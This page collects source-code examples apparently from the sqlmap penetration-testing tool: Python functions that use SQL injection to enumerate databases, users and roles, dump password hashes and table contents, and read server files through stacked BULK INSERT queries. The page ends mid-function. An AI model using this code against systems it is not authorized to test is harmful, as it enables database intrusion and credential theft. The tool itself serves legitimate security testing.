Example #1
0
    def getDbs(self):
        if kb.dbms == "MySQL" and not self.has_information_schema:
            warnMsg  = "information_schema not available, "
            warnMsg += "back-end DBMS is MySQL < 5. database "
            warnMsg += "names will be fetched from 'mysql' database"
            logger.warn(warnMsg)

        infoMsg = "fetching database names"
        logger.info(infoMsg)

        rootQuery = queries[kb.dbms].dbs

        if conf.unionUse:
            if kb.dbms == "MySQL" and not self.has_information_schema:
                query = rootQuery["inband"]["query2"]
            else:
                query = rootQuery["inband"]["query"]
            value = inject.getValue(query, blind=False)

            if value:
                self.cachedDbs = value

        if not self.cachedDbs:
            infoMsg = "fetching number of databases"
            logger.info(infoMsg)

            if kb.dbms == "MySQL" and not self.has_information_schema:
                query = rootQuery["blind"]["count2"]
            else:
                query = rootQuery["blind"]["count"]
            count = inject.getValue(query, inband=False, expected="int")

            if not count.isdigit() or not len(count) or count == "0":
                errMsg = "unable to retrieve the number of databases"
                raise sqlmapNoneDataException, errMsg

            indexRange = getRange(count)

            for index in indexRange:
                if kb.dbms == "MySQL" and not self.has_information_schema:
                    query = rootQuery["blind"]["query2"] % index
                else:
                    query = rootQuery["blind"]["query"] % index
                db = inject.getValue(query, inband=False)

                if db:
                    self.cachedDbs.append(db)

        if not self.cachedDbs:
            errMsg = "unable to retrieve the database names"
            raise sqlmapNoneDataException, errMsg

        return self.cachedDbs
Example #2
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[kb.dbms].users

        condition  = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
        condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )

        if conf.unionUse:
            if condition:
                query = rootQuery["inband"]["query2"]
            else:
                query = rootQuery["inband"]["query"]
            value = inject.getValue(query, blind=False)

            if value:
                self.cachedUsers = value

        if not self.cachedUsers:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery["blind"]["count2"]
            else:
                query = rootQuery["blind"]["count"]
            count = inject.getValue(query, inband=False, expected="int")

            if not count.isdigit() or not len(count) or count == "0":
                errMsg = "unable to retrieve the number of database users"
                raise sqlmapNoneDataException, errMsg

            indexRange = getRange(count)

            for index in indexRange:
                if condition:
                    query = rootQuery["blind"]["query2"] % index
                else:
                    query = rootQuery["blind"]["query"] % index
                user = inject.getValue(query, inband=False)

                if user:
                    self.cachedUsers.append(user)

        if not self.cachedUsers:
            errMsg = "unable to retrieve the database users"
            raise sqlmapNoneDataException, errMsg

        return self.cachedUsers
Example #3
0
    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        result = []
        txtTbl = self.fileTblName
        hexTbl = "%shex" % self.fileTblName

        self.createSupportTbl(txtTbl, self.tblField, "text")
        inject.goStacked("DROP TABLE %s" % hexTbl)
        inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))

        logger.debug("loading the content of file '%s' into support table" % rFile)
        inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)

        # Reference: http://support.microsoft.com/kb/104829
        binToHexQuery = """
        DECLARE @charset VARCHAR(16)
        DECLARE @counter INT
        DECLARE @hexstr VARCHAR(4096)
        DECLARE @length INT
        DECLARE @chunk INT

        SET @charset = '0123456789ABCDEF'
        SET @counter = 1
        SET @hexstr = ''
        SET @length = (SELECT DATALENGTH(%s) FROM %s)
        SET @chunk = 1024

        WHILE (@counter <= @length)
        BEGIN
            DECLARE @tempint INT
            DECLARE @firstint INT
            DECLARE @secondint INT

            SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
            SET @firstint = floor(@tempint/16)
            SET @secondint = @tempint - (@firstint * 16)
            SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)

            SET @counter = @counter + 1

            IF @counter %% @chunk = 0
            BEGIN
                INSERT INTO %s(%s) VALUES(@hexstr)
                SET @hexstr = ''
            END
        END

        IF @counter %% (@chunk) != 0
        BEGIN
            INSERT INTO %s(%s) VALUES(@hexstr)
        END
        """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)

        binToHexQuery = binToHexQuery.replace("    ", "").replace("\n", " ")
        binToHexQuery = urlencode(binToHexQuery, convall=True)
        inject.goStacked(binToHexQuery)

        if kb.unionPosition:
            result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)

        if not result:
            result = []
            count  = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)

            if not count.isdigit() or not len(count) or count == "0":
                errMsg  = "unable to retrieve the content of the "
                errMsg += "file '%s'" % rFile
                raise sqlmapNoneDataException(errMsg)

            indexRange = getRange(count)

            for index in indexRange:
                chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
                result.append(chunk)

        inject.goStacked("DROP TABLE %s" % hexTbl)

        return result
Example #4
0
    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        result = []
        txtTbl = self.fileTblName
        hexTbl = "%shex" % self.fileTblName

        self.createSupportTbl(txtTbl, self.tblField, "text")
        inject.goStacked("DROP TABLE %s" % hexTbl)
        inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))

        logger.debug("loading the content of file '%s' into support table" % rFile)
        inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)

        # Reference: http://support.microsoft.com/kb/104829
        binToHexQuery = """
        DECLARE @charset VARCHAR(16)
        DECLARE @counter INT
        DECLARE @hexstr VARCHAR(4096)
        DECLARE @length INT
        DECLARE @chunk INT

        SET @charset = '0123456789ABCDEF'
        SET @counter = 1
        SET @hexstr = ''
        SET @length = (SELECT DATALENGTH(%s) FROM %s)
        SET @chunk = 1024

        WHILE (@counter <= @length)
        BEGIN
            DECLARE @tempint INT
            DECLARE @firstint INT
            DECLARE @secondint INT

            SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
            SET @firstint = floor(@tempint/16)
            SET @secondint = @tempint - (@firstint * 16)
            SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)

            SET @counter = @counter + 1

            IF @counter %% @chunk = 0
            BEGIN
                INSERT INTO %s(%s) VALUES(@hexstr)
                SET @hexstr = ''
            END
        END

        IF @counter %% (@chunk) != 0
        BEGIN
            INSERT INTO %s(%s) VALUES(@hexstr)
        END
        """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)

        binToHexQuery = binToHexQuery.replace("    ", "").replace("\n", " ")
        inject.goStacked(binToHexQuery)

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
            result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False, error=False)

        if not result:
            result = []
            count  = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)

            if not isNumPosStrValue(count):
                errMsg  = "unable to retrieve the content of the "
                errMsg += "file '%s'" % rFile
                raise sqlmapNoneDataException(errMsg)

            indexRange = getRange(count)

            for index in indexRange:
                chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
                result.append(chunk)

        inject.goStacked("DROP TABLE %s" % hexTbl)

        return result
Example #5
0
    def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        colList = conf.col.split(",")
        colCond = rootQuery.inband.condition
        colConsider, colCondParam = self.likeOrExact("column")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
            logger.info(infoMsg)

            foundCols[column] = {}

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in dbs.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    values = inject.getValue(query, blind=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True)
                                if kb.data.cachedColumns[db][foundTbl] != {None: None}:
                                    dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [ foundTbl ]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % (db, db, db, db, db, db)
                        query += " AND %s" % colQuery.replace("[DB]", db)
                        query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True)

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        self.dumpFoundColumn(dbs, foundCols, colConsider)
Example #6
0
    def searchTable(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        foundTbls = {}
        tblList = conf.tbl.split(",")
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2

        tblConsider, tblCondParam = self.likeOrExact("table")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            if isinstance(db, list):
                db = db[0]

            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query % db
                    query += tblQuery
                    values = inject.getValue(query, blind=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % db
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % db
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        return foundTbls
Example #7
0
    def getRoles(self, query2=False):
        infoMsg = "fetching database users roles"

        rootQuery = queries[Backend.getIdentifiedDbms()].roles

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if isTechniqueAvailable(
                PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
            if query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                users = conf.user.split(",")
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in users)

            values = inject.getValue(query, blind=False)

            if not values and not query2:
                infoMsg = "trying with table USER_ROLE_PRIVS"
                logger.info(infoMsg)

                return self.getRoles(query2=True)

            if values:
                for value in values:
                    user = None
                    roles = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the roles
                        else:
                            role = value[count]

                            # In Oracle we get the list of roles as string
                            roles.add(role)

                    if self.__isAdminFromPrivileges(roles):
                        areAdmins.add(user)

                    if kb.data.cachedUsersRoles.has_key(user):
                        kb.data.cachedUsersRoles[user].extend(roles)
                    else:
                        kb.data.cachedUsersRoles[user] = list(roles)

        if not kb.data.cachedUsersRoles and not conf.direct:
            conditionChar = "="

            if conf.user:
                users = conf.user.split(",")
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
                else:
                    users = kb.data.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if user in retrievedUsers:
                    continue

                infoMsg = "fetching number of roles "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if query2:
                    query = rootQuery.blind.count2 % queryUser
                else:
                    query = rootQuery.blind.count % queryUser
                count = inject.getValue(query,
                                        inband=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=2)

                if not isNumPosStrValue(count):
                    if not count.isdigit() and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "roles for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching roles for user '%s'" % user
                logger.info(infoMsg)

                roles = set()

                indexRange = getRange(count, plusOne=True)

                for index in indexRange:
                    if query2:
                        query = rootQuery.blind.query2 % (queryUser, index)
                    else:
                        query = rootQuery.blind.query % (queryUser, index)
                    role = inject.getValue(query, inband=False, error=False)

                    # In Oracle we get the list of roles as string
                    roles.add(role)

                if roles:
                    kb.data.cachedUsersRoles[user] = list(roles)
                else:
                    warnMsg = "unable to retrieve the roles "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersRoles:
            errMsg = "unable to retrieve the roles "
            errMsg += "for the database users"
            raise sqlmapNoneDataException, errMsg

        return (kb.data.cachedUsersRoles, areAdmins)
Example #8
0
    def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {"USERS": {}}
        colList = conf.col.split(",")
        colCond = rootQuery.inband.condition
        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            column = safeSQLIdentificatorNaming(column)

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
            logger.info(infoMsg)

            foundCols[column] = {}

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in dbs.keys():
                db = safeSQLIdentificatorNaming(db)

                if isTechniqueAvailable(
                        PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(
                            PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query
                    query += colQuery
                    values = inject.getValue(query, blind=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(
                                foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True)

                                dbs[db][foundTbl].update(
                                    kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query += " WHERE %s" % colQuery
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query += " WHERE %s" % colQuery
                        query = agent.limitQuery(index, query)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True)

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        self.dumpFoundColumn(dbs, foundCols, colConsider)
Example #9
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[kb.dbms].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.unionUse:
            if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
                query = rootQuery["inband"]["query2"]
            else:
                query = rootQuery["inband"]["query"]

            condition = rootQuery["inband"]["condition"]

            if conf.user:
                if "," in conf.user:
                    users = conf.user.split(",")
                    query += " WHERE "
                    query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
                else:
                    query += " WHERE %s = '%s'" % (condition, conf.user)

            value = inject.getValue(query, blind=False)

            if value:
                for user, password in value:
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if not self.cachedUsersPassword.has_key(user):
                        self.cachedUsersPassword[user] = [password]
                    else:
                        self.cachedUsersPassword[user].append(password)

        if not self.cachedUsersPassword:
            if conf.user:
                if "," in conf.user:
                    users = conf.user.split(",")
                else:
                    users = [conf.user]
            else:
                if not len(self.cachedUsers):
                    users = self.getUsers()
                else:
                    users = self.cachedUsers

            retrievedUsers = set()

            for user in users:
                if kb.dbms == "MySQL":
                    parsedUser = re.search("\047(.*?)\047@'", user)

                    if parsedUser:
                        user = parsedUser.groups()[0]

                if user in retrievedUsers:
                    continue

                infoMsg  = "fetching number of password hashes "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
                    query = rootQuery["blind"]["count2"] % user
                else:
                    query = rootQuery["blind"]["count"] % user
                count = inject.getValue(query, inband=False, expected="int")

                if not count.isdigit() or not len(count) or count == "0":
                    warnMsg  = "unable to retrieve the number of password "
                    warnMsg += "hashes for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching password hashes for user '%s'" % user
                logger.info(infoMsg)

                passwords  = []
                indexRange = getRange(count)

                for index in indexRange:
                    if kb.dbms == "Microsoft SQL Server":
                        if kb.dbmsVersion[0] in ( "2005", "2008" ):
                            query = rootQuery["blind"]["query2"] % (user, index, user)
                        else:
                            query = rootQuery["blind"]["query"] % (user, index, user)
                    else:
                        query = rootQuery["blind"]["query"] % (user, index)
                    password = inject.getValue(query, inband=False)
                    password = parsePasswordHash(password)
                    passwords.append(password)

                if passwords:
                    self.cachedUsersPassword[user] = passwords
                else:
                    warnMsg  = "unable to retrieve the password "
                    warnMsg += "hashes for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not self.cachedUsersPassword:
            errMsg  = "unable to retrieve the password "
            errMsg += "hashes for the database users"
            raise sqlmapNoneDataException, errMsg

        return self.cachedUsersPassword
Example #10
0
    def getRoles(self, query2=False):
        infoMsg = "fetching database users roles"

        rootQuery = queries[Backend.getIdentifiedDbms()].roles

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
            if query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                users = conf.user.split(",")
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False)

            if not values and not query2:
                infoMsg = "trying with table USER_ROLE_PRIVS"
                logger.info(infoMsg)

                return self.getRoles(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    roles = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the roles
                        else:
                            role = value[count]

                            # In Oracle we get the list of roles as string
                            roles.add(role)

                    if self.__isAdminFromPrivileges(roles):
                        areAdmins.add(user)

                    if kb.data.cachedUsersRoles.has_key(user):
                        kb.data.cachedUsersRoles[user].extend(roles)
                    else:
                        kb.data.cachedUsersRoles[user] = list(roles)

        if not kb.data.cachedUsersRoles and not conf.direct:
            conditionChar = "="

            if conf.user:
                users = conf.user.split(",")
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
                else:
                    users = kb.data.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if user in retrievedUsers:
                    continue

                infoMsg = "fetching number of roles "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if query2:
                    query = rootQuery.blind.count2 % queryUser
                else:
                    query = rootQuery.blind.count % queryUser
                count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                if not isNumPosStrValue(count):
                    if not count.isdigit() and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "roles for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching roles for user '%s'" % user
                logger.info(infoMsg)

                roles = set()

                indexRange = getRange(count, plusOne=True)

                for index in indexRange:
                    if query2:
                        query = rootQuery.blind.query2 % (queryUser, index)
                    else:
                        query = rootQuery.blind.query % (queryUser, index)
                    role = inject.getValue(query, inband=False, error=False)

                    # In Oracle we get the list of roles as string
                    roles.add(role)

                if roles:
                    kb.data.cachedUsersRoles[user] = list(roles)
                else:
                    warnMsg = "unable to retrieve the roles "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersRoles:
            errMsg = "unable to retrieve the roles "
            errMsg += "for the database users"
            raise sqlmapNoneDataException, errMsg

        return ( kb.data.cachedUsersRoles, areAdmins )
Example #11
0
    def dumpTable(self):
        if not conf.tbl:
            errMsg = "missing table parameter"
            raise sqlmapMissingMandatoryOptionException, errMsg

        if "." in conf.tbl:
            conf.db, conf.tbl = conf.tbl.split(".")

        self.forceDbmsEnum()

        if not conf.db:
            warnMsg  = "missing database parameter, sqlmap is going to "
            warnMsg += "use the current database to dump table "
            warnMsg += "'%s' entries" % conf.tbl
            logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        rootQuery = queries[kb.dbms].dumpTable

        if conf.col:
            colList = conf.col.split(",")
            self.cachedColumns[conf.db] = {}
            self.cachedColumns[conf.db][conf.tbl] = {}
            for column in colList:
                self.cachedColumns[conf.db][conf.tbl][column] = None
        elif not self.cachedColumns:
            if kb.dbms == "MySQL" and not self.has_information_schema:
                errMsg  = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                raise sqlmapUnsupportedFeatureException, errMsg

            self.cachedColumns = self.getColumns(onlyColNames=True)

        colList = self.cachedColumns[conf.db][conf.tbl].keys()
        colList.sort(key=lambda x: x.lower())
        colString = ", ".join(column for column in colList)

        infoMsg = "fetching"
        if conf.col:
            infoMsg += " columns '%s'" % colString
        infoMsg += " entries for table '%s'" % conf.tbl
        infoMsg += " on database '%s'" % conf.db
        logger.info(infoMsg)

        if conf.unionUse:
            if kb.dbms == "Oracle":
                query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
            else:
                query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl)
            entries = inject.getValue(query, blind=False)

            if entries:
                entriesCount = len(entries)
                index        = 0

                for column in colList:
                    colLen = len(column)

                    if not self.dumpedTable.has_key(column):
                        self.dumpedTable[column] = { "length": 0, "values": [] }

                    for entry in entries:
                        if isinstance(entry, str):
                            colEntry = entry
                        else:
                            colEntry = entry[index]

                        colEntryLen = len(colEntry)
                        maxLen = max(colLen, colEntryLen)

                        if maxLen > self.dumpedTable[column]["length"]:
                            self.dumpedTable[column]["length"] = maxLen

                        self.dumpedTable[column]["values"].append(colEntry)

                    index += 1

        if not self.dumpedTable:
            infoMsg = "fetching number of "
            if conf.col:
                infoMsg += "columns '%s' " % colString
            infoMsg += "entries for table '%s' " % conf.tbl
            infoMsg += "on database '%s'" % conf.db
            logger.info(infoMsg)

            if kb.dbms == "Oracle":
                query = rootQuery["blind"]["count"] % conf.tbl.upper()
            else:
                query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
            count = inject.getValue(query, inband=False, expected="int")

            if not count.isdigit() or not len(count) or count == "0":
                errMsg = "unable to retrieve the number of "
                if conf.col:
                    errMsg += "columns '%s' " % colString
                errMsg += "entries for table '%s' " % conf.tbl
                errMsg += "on database '%s'" % conf.db

                if conf.dumpAll:
                    logger.warn(errMsg)
                    return self.dumpedTable
                else:
                    raise sqlmapNoneDataException, errMsg

            lengths    = {}
            entries    = {}
            indexRange = getRange(count, True)

            for index in indexRange:
                for column in colList:
                    if column not in lengths:
                        lengths[column] = 0

                    if column not in entries:
                        entries[column] = []

                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        query = rootQuery["blind"]["query"] % (column, conf.db,
                                                               conf.tbl, index)
                    elif kb.dbms == "Oracle":
                        query = rootQuery["blind"]["query"] % (column, column,
                                                               conf.tbl.upper(),
                                                               index)
